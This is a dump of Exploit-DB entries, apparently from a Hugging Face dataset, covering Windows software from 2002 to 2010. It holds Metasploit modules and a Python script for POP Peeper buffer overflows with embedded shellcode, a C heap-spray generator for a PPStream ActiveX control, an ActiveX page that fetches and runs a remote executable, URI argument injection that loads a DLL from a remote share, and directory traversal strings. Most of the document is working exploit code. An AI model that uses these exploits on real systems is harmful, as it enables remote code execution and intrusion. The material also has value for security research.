deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22112
Description: PlatinumFTPServer 1.0.6 - Information Disclosure
Type: remote
Platform: windows
Date: 2002-12-30
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/6492/info

It has been reported that PlatinumFTPserver fails to properly sanitize some FTP commands. By sending a malicious request to the vulnerable server, using directory traversal sequences, it is possible for a remote attacker to obtain information about sensitive resources located outside of the FTP root.

Disclosure of sensitive system files may aid the attacker in launching further attacks against the target system. 

dir ..\..\..\..\
Exploit-DB #23157
Description: Plug and Play Web Server 1.0 002c - Directory Traversal
Type: remote
Platform: windows
Date: 2003-09-18
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8645/info

It has been reported that Plug and Play Web Server is prone a directory traversal issue allowing a remote attacker to traverse outside the server root directory by using '../' or '..\' character sequences.

Successful exploitation of this vulnerablity may allow a remote attacker to gain access to sensitive information, which may be used to mount further attacks against a vulnerable system.

http://www.example.com/../../existing_file
http://www.example.com\..\..\existing_file
http://www.example.com/../../ [show the files and the folders in C drive - if the 'Show Directory list when homepage does not exist' option is active.]
Exploit-DB #16441
Description: POP Peeper 3.4 - DATE Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: poppeeper_date.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'POP Peeper v3.4 DATE Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in POP Peeper v3.4.
				When a specially crafted DATE string is sent to a client,
				an attacker may be able to execute arbitrary code. This
				module is based off of krakowlabs code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2009-1029' ],
					[ 'OSVDB', '53560'],
					[ 'BID', '34093' ],
					[ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_date-bof.txt' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment'  => -3500,
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'POP Peeper v3.4',	{ 'Ret' => 0x10014e39 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 27 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
			], self.class)
	end

	def on_client_connect(client)
		ok = "+OK\r\n"
		client.put(ok)
	end

	def on_client_data(client)
		return if ((p = regenerate_payload(client)) == nil)

		ok = "+OK\r\n"
		client.put(ok)

		client.get_once

		ok = "+OK\r\n"
		client.put(ok)

		client.get_once

		ok = "+OK 1 100\r\n"
		client.put(ok)

		client.get_once

		ok = "+OK\r\n1 " + rand_text_english(4) + "\r\n.\r\n"
		client.put(ok)

		client.get_once

		ok = "+OK 1 100\r\n.\r\n"
		client.put(ok)

		client.get_once

		ok = "+OK 100 octects\r\n"
		client.put(ok)

		sploit = "Date: " + rand_text_alpha_upper(132) + generate_seh_payload(target.ret) + "\r\n.\r\n"
		client.put(sploit)

		handler
		service.close_client(client)
	end

end
Exploit-DB #16458
Description: POP Peeper 3.4 - UIDL Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-30
Author: Metasploit

Exploit:
##
# $Id: poppeeper_uidl.rb 11180 2010-11-30 20:19:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'POP Peeper v3.4 UIDL Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in POP Peeper v3.4.
				When a specially crafted UIDL string is sent to a client,
				an attacker may be able to execute arbitrary code. This
				module is based off of krakowlabs code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11180 $',
			'References'     =>
				[
					[ 'OSVDB', '53559' ],
					[ 'CVE', '2009-1029' ],
					[ 'BID', '33926' ],
					[ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment'  => -3500,
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'POP Peeper v3.4',	{ 'Ret' => 0x10014e39 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 27 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
			], self.class)
	end

	def on_client_connect(client)
		ok = "+OK\r\n"
		client.put(ok)
	end

	def on_client_data(client)
		return if ((p = regenerate_payload(client)) == nil)

		ok = "+OK\r\n"
		client.put(ok)

		client.get_once

		ok = "+OK\r\n"
		client.put(ok)

		client.get_once

		ok = "+OK 1 100\r\n"
		client.put(ok)

		client.get_once

		sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n"

		client.put(sploit)

		handler
		service.close_client(client)
	end

end
Exploit-DB #8248
Description: POP Peeper 3.4.0.0 - 'From' Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-03-20
Author: His0k4

Exploit:
#!/usr/bin/python
# [+] Bug : POP Peeper 3.4.0.0 (From) Remote Buffer Overflow Exploit (SEH)
# [+] Author : His0k4
# [+] Greetings : All friends and muslims HacKerS (DZ)

from socket import *
import struct


# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x43\x4b\x58\x4e\x37"
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x58"
"\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x38"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x38\x4e\x31\x4b\x48"
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x58\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x38\x42\x4b"
"\x42\x30\x42\x50\x42\x50\x4b\x38\x4a\x46\x4e\x53\x4f\x45\x41\x53"
"\x48\x4f\x42\x56\x48\x55\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x30\x4f\x35\x4a\x36\x4a\x39"
"\x50\x4f\x4c\x58\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x36\x43\x36\x42\x50\x5a")


junk = "\x41"*1989

payload = "\x42"*352
payload += "\xEB\x10\x90\x90" #jmp+10 (tan9iza ta3 10 mitrate :p)
payload += "\x4C\x51\x01\x10" #Universal pop pop ret (Imap.dll)
payload += "\x90"*19          #Nops chriki
payload += shellcode	      #calculatrice ta3 100 da :p


s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 110))
s.listen(1)
print "[*] Listening on [POP3] 110"
c, addr = s.accept()
print "[*] Connection accepted from: %s" % (addr[0])

c.send("+OK\r\n")
c.recv(512)
c.send("+OK\r\n")
c.recv(512)
c.send("+OK\r\n")
c.recv(512)
c.send("+OK 1 100\r\n")
c.recv(512)
c.send("+OK\r\n1 root\r\n.\r\n")
c.recv(512)
c.send("+OK\r\n1 t00r\r\n.\r\n")
c.recv(512)
c.send("+OK 100 octets\r\n")
c.send("To: "+junk+"\r\n.\r\n")
c.send("From: "+payload+"\r\n.\r\n")
c.send("Subject: "+junk+"\r\n.\r\n")
c.send("Date: today\r\n.\r\n")
c.send("Content-Type: "+junk+"; charset=UTF-7\r\n.\r\n")

raw_input("[*] Payload sended!\nPress key to quit")
c.close()
s.close()

# milw0rm.com [2009-03-20]
Exploit-DB #34437
Description: Portable Document Format - Specification Signature Collision
Type: remote
Platform: windows
Date: 2010-08-11
Author: Florian Zumbiehl

Exploit:
source: https://www.securityfocus.com/bid/42377/info

The Portable Document Format (PDF) specification is prone to a signature-collision attack when signing PDF documents.

An attacker can exploit this issue to create PDF documents containing forged signatures. Successfully exploiting this issue will result in the application accepting the signature of a document as valid when it is not. This may result in a false sense of security; other attacks are also possible.

All products conforming to the specification for signing PDF documents are affected by this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34437.tar.gz
Exploit-DB #34853
Description: PowerDVD 5.0.1107 - 'trigger.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-10-19
Author: Inj3cti0n P4ck3t

Exploit:
// source: https://www.securityfocus.com/bid/44193/info

PowerDVD is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

PowerDVD 5.00.1107 is vulnerable; other versions may also be affected. 

/*
[*] Author: Inj3cti0n P4ck3t					          				 
[*] e-mail: fer_henrick@hotmail.com					 				 
[*] Date: 18/10/2010	
[*] Name BUG: PowerDVD 5.00.1107 DLL Hijacking Exploit (trigger.dll)
[*] System tested: Windows XP (Version 5.1 Service Pack 3)
[*] PowerDVD.exe Version: 5.00.1107
[*] Software to Download: N�o dispon�vel
[*] Application Path: C:\Arquivos de programas\CyberLink\PowerDVD\PowerDVD.exe
[*] DLL Found => trigger.dll

Greetz: fvox
*/

#include <windows.h>
#include <stdio.h>

int testando()
{
    MessageBox(0, "Testando PoC", MB_OK);
    FILE *fp;
    fp = fopen("Inj3cti0nP4ck3t.txt", "w");
    fwrite("it works ;-)", 1, 12, fp);
    fclose(fp);
    exit(1);
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
    testandp();
    return TRUE;
}
Exploit-DB #27760
Description: poweriso 2.9 - Directory Traversal
Type: remote
Platform: windows
Date: 2006-04-28
Author: Sowhat

Exploit:
source: https://www.securityfocus.com/bid/17726/info

Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. 

A successful attack can allow the attacker to place potentially malicious files and to overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

This issue affects PowerISO version 2.9; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27746.iso.bin
Exploit-DB #7755
Description: PowerPoint Viewer OCX 3.1 - Remote Command Execution
Type: remote
Platform: windows
Date: 2009-01-13
Author: Cyber-Zone

Exploit:
PowerPoint Viewer OCX v3.1 Remote File Execution Exploit

Founded By : Cyber-Zone
E-mail     : Paradis_des_fous@hotmail.fr
Home       : WwW.Exploiter5.CoM
GreetZ     : Houssamix , Hussin X , JiKo , StaCk , str0ke , The_5p3ctrum



<HTML>
<BODY>
 <object id=Cyb classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F22B92}"></object>

<SCRIPT>

function Do_it()
 {
   File = "http://test.com/file.exe"
   Cyb.OpenWebFile(File)
 }


</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="exploit">

</body>
</HTML>

# milw0rm.com [2009-01-13]
Exploit-DB #8215
Description: PPLive 1.9.21 - '/LoadModule' URI Handlers Argument Injection
Type: remote
Platform: windows
Date: 2009-03-16
Author: Nine:Situations:Group

Exploit:
--------------------------------------------------------------------------------
PPLive <= 1.9.21 uri handlers "/LoadModule" remote argument injection
by Nine:Situations:Group::strawdog
--------------------------------------------------------------------------------
software site:http://www.pplive.com/en/index.html
our site: http://retrogod.altervista.org/

software description:
"PPLive is a peer-to-peer streaming video network created in Huazhong University
of Science and Technology, People's Republic of China. It is part of a new
generation of P2P applications, that combine P2P and Internet TV, called P2PTV."

vulnerability:
The "synacast://", "Play://" ,"pplsv://" and "ppvod://" URI handlers do not
verify certain parts of the URI before evaluating command line parameters.
This can be exploited against Internet Explorer to e.g. load a dll from a remote
UNC path via the "/LoadModule" parameter, example exploit (IE7):

synacast://www.microsoft.com/?"%20/LoadModule%20\1.2.3.4\unc_share\sh.dll%20"
Play://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"

against older versions:
pplsv://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"
ppvod://www.microsoft.com/?"%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20"

test dll which adds new credentials / spawns the telnet server:
http://retrogod.altervista.org/9sg_pplive_sh.html

some interesting readings:
http://msdn.microsoft.com/en-us/library/aa767914(VS.85).aspx

--------------------------------------------------------------------------------

# milw0rm.com [2009-03-16]
Exploit-DB #4348
Description: PPStream - 'PowerPlayer.dll 2.0.1.3829' ActiveX Remote Overflow
Type: remote
Platform: windows
Date: 2007-08-31
Author: dummy

Exploit:
// author: dummy
// written by dummyz@126.com (2007)

#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>

const unsigned char shellcode[174] = 
{
  0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A, 
  0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F, 
  0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1, 
  0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C, 
  0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41, 
  0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03, 
  0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B, 
  0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC, 
  0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB, 
  0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00, 
  0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90
};

const char* script1 = \
  "<html><body><object id=\"ppc\" classid=\"clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458\"></object><script>"
  "var shellcode = unescape(\"";
const char* script2 = \
  "\");"
  "bigblock = unescape(\"%u9090\");"
  "headersize = 20;"
  "slackspace = headersize + shellcode.length;"
  "while ( bigblock.length < slackspace ) bigblock += bigblock;"
  "fillblock = bigblock.substring(0, slackspace);"
  "block = bigblock.substring(0, bigblock.length - slackspace);"
  "while(block.length + slackspace < 0x40000) block = block + block + fillblock;"
  "memory = new Array();"
  "for (x=0; x< 400; x++) memory[x] = block + shellcode;"
  "var buffer = '\\x0a';"
  "while (buffer.length < 500) buffer += '\\x0a\\x0a\\x0a\\x0a';"
  "ppc.Logo = buffer;"
  "</script>"
  "</body>"
  "</html>";

int main(int argc, char* argv[])
{
  if ( argc != 2 )
  {
    printf("ex:fuckpps url\nwritten by dummyz@126.com (2007)\n");
    return -1;
  }

  FILE *file = fopen("fuckpps.html", "w+");
  if ( file == NULL )
  {
    printf("create 'fuckpps.html' failed!\n");
    return -2;
  }

  fprintf(file, "%s", script1);
  for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )
    fprintf(file, "%%u%02X%02X" , shellcode[i + 1], shellcode[i]);
  
  const unsigned l = strlen(argv[1]);
  for ( unsigned j = 0; j < l; j += 2 )
    fprintf(file, "%%u%02X%02X" , argv[1][j + 1], argv[1][j]);

  fprintf(file, "%s", script2);
  fclose(file);

  printf("make 'fuckpps.html' successed!\n");

  return 0;
}

// milw0rm.com [2007-08-31]
Exploit-DB #30045
Description: PrecisionID Barcode - 'PrecisionID_Barcode.dll' ActiveX 1.9 Control Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2007-05-16
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/24014/info

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------
 <b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Remote Arbitrary File Overwrite</b>
 url: http://www.precisionid.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 all software that use this ocx are vulnerable to these exploits.

 If you try this exploit with IE 7, it just stops to answer
-----------------------------------------------------------------------------------------------------

<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/16 - PrecisionID Barcode ActiveX")
   End If 
 End Sub
</script>
</span></span>
</code></pre>
Exploit-DB #3938
Description: PrecisionID Barcode ActiveX 1.9 - Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2007-05-16
Author: shinnai

Exploit:
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------
 <b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Remote Arbitrary File Overwrite</b>
 url: http://www.precisionid.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 all software that use this ocx are vulnerable to these exploits.

 If you try this exploit with IE 7, it just stops to answer
-----------------------------------------------------------------------------------------------------

<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/16 - PrecisionID Barcode ActiveX")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-16]